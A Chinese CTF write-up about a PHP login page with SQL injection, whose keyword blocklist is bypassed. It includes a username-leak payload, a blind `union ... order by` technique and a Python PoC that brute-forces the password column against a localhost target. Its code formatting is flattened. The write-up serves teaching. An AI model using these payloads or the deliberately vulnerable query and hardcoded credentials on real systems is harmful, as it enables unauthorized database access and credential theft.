代码如下:  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php   $dbhost = "localhost" ;   $dbuser = "root" ;   $dbpass = "123456" ;   $db = "ctf" ;   $conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);   mysqli_set_charset($conn,"utf8" );    function    filter ($str)  {      $filterlist = "/\(|\)|username|password|where|        case|when|like|regexp|into|limit|=|for|;/" ;      if (preg_match($filterlist,strtolower($str))){         die ("illegal input!" );       }       return  $str;   } $username = isset ($_POST['username' ])? filter($_POST['username' ]):die ("please input username!" ); $password = isset ($_POST['password' ])? filter($_POST['password' ]):die ("please input password!" ); $sql = "select * from admin where  username =   '$username' and password = '$password' " ;$res = $conn -> query($sql); if ($res->num_rows>0 ){  $row = $res -> fetch_assoc();   if ($row['id' ]){      echo  $row['username' ];   } }else {    echo  "The content in the password column is the flag!" ; } ?> 
 
题目说 password的字段的值,就是flag.那就要想办法读取password的内容
但是题目的过滤规则还是比较坑的:
1 2 $filterlist = "/\(|\)|username|password|where|  case|when|like|regexp|into|limit|=|for|;/" ;
 
这些字符都不能出现,限制的比较坑的有一下两条:
没有了括号,标志着没有办法用mysql里的函数了. 
没有了password,但是它却是字段名,所以sql语句中不能出现password这个列名 
 
想搞明白,先看下面两个sql语句 mysql的字符串排序操作是从前往后一一用ascii码比对的.我们可以利用这个特性,来进行注入.
1 2 select  * from  ctf.admin  where  username = 'admin'   union distinct   select  1 ,2 ,0x38  order  by  3  desc  ;
 
我们可以控制后面的那个查询的第三个字段,让他从最小开始变化,当查询结果第一条返回的username字段是2的时候,我们就知道这个字符的ascii码减一就是跟数据库中的相等.所以就可以一位一位的猜出来password字段了.
但是在操作之前,我们需要先得到数据库中的用户名,这个简单
1 只需要提交: username=' ^1 ^1 #&password= 1 
 
就可以看到一个用户名了. python的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import  requestsdef  makeStr (begin,end) :    str=""      for  i in  range(begin,end):         str+=chr(i)     return  str def  getPassword () :    url="http://127.0.0.1/web200/index.php"      testStr = makeStr(48 ,127 )     username = "admin' union distinct select 1,2,0x{hex} order by 3 desc#"      flag = ""      for   _  in  range(32 ):         for  i in  testStr:             data = {"username" :username.format(hex=(flag+i).encode('hex' )),"password" :'1' }             res = requests.post(url,data)             if  "admin"  not  in  res.text:                 flag= flag+chr(ord(i)-1 )                 print  flag                 break              else :                 print  "[*]" ,i if  __name__== '__main__' :    getPassword() 
 
但是这里有个bug,因为mysql不区分大小写,他认为 D与d相等的,所以最后跑出来的,全是大写的:
发现一种可以区分大小写的方法,利用binary:
1 select   'ab'   union  select  binary  'Ab'  order  by  1  ;
 
在后面加上binary,这样就区分大小写了。
1 2 3 4 5 6 +----+ | ab | +----+ | Ab | | ab | +----+ 
 
binary用例:
1 select  username form  table  where  binary  username like  '%admin%' ;
 
那么大写的Admin就不会被查询出来。